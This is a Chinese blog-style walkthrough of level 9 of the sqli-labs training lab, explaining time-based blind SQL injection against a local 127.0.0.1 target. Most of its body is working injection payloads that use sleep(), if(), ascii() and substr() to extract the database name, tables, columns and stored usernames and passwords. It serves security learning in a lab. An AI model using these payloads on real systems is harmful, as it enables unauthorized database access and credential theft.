IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sql注入第九关------延时注入 -> 正文阅读

[大数据]sql注入第九关------延时注入

这关无论输入什么闭合符号回显都是正确的,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。
先引入几个函数

1.if(Condition,A,B)函数
2.当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
3.sleep()函数			网页延迟n秒后,输出结果
4.left()函数           左边数,取几个数
5.substr(var1, var2, var3)

   功能:从字符串里截取其中一段字符(串)

   - var1:被截取的字符串
   - var2:从哪一位开始截取
   - var3:截取长度

6.ascii(var)

   功能:取var字符的ascii码(十进制)

闭合

先来测试几波闭合符合,然后看等待时间
第一种猜测:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1‘ and (sleep(2))--+

在这里插入图片描述
第二种猜测:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1‘) and (sleep(2))--+

在这里插入图片描述
第n种猜测:

经过对比,发现第一张猜测时间最长(有意而为之),这时我们就可以判断出闭合符号了。

爆数据库名

先测试出长度

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())>7,sleep(2),0)--+

在这里插入图片描述
再找一个作为对比,比如>8,会发现等待时间只有几十毫秒,说明数据库名的长度等于8。

接下来找第一个字符的ascii

127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(2),0)--+

在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=114,sleep(2),0)--+

在这里插入图片描述
再次对比,数据库名字的一个字符的ascii是115(别问我为什么知道是115,做8关了,知道数据库名是什么吧),查ascii表发现,第一个字符是s
同理

127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(2),0)--+
127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),3,1))=99,sleep(2),0)--+

.
.
.
找七次(其实可以查找范围的<>),结果是“security”。
在这里插入图片描述
爆表名

过程同上,我不再比较了,只找正确答案

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),1)--+

在这里插入图片描述

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(2),1)--+

在这里插入图片描述
同上,依次往下,最后得到:emails/users

爆字段

在这里插入图片描述

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+

在这里插入图片描述
同理

第一列名:id
第二列名:username
第三列名:password

爆数据

?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+

在这里插入图片描述
再再再同理,不用修改列了,只修改字段位置

最后依次进行得到username:Dumb,password:Dumb

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-03-15 22:37:17  更:2022-03-15 22:41:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 7:48:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码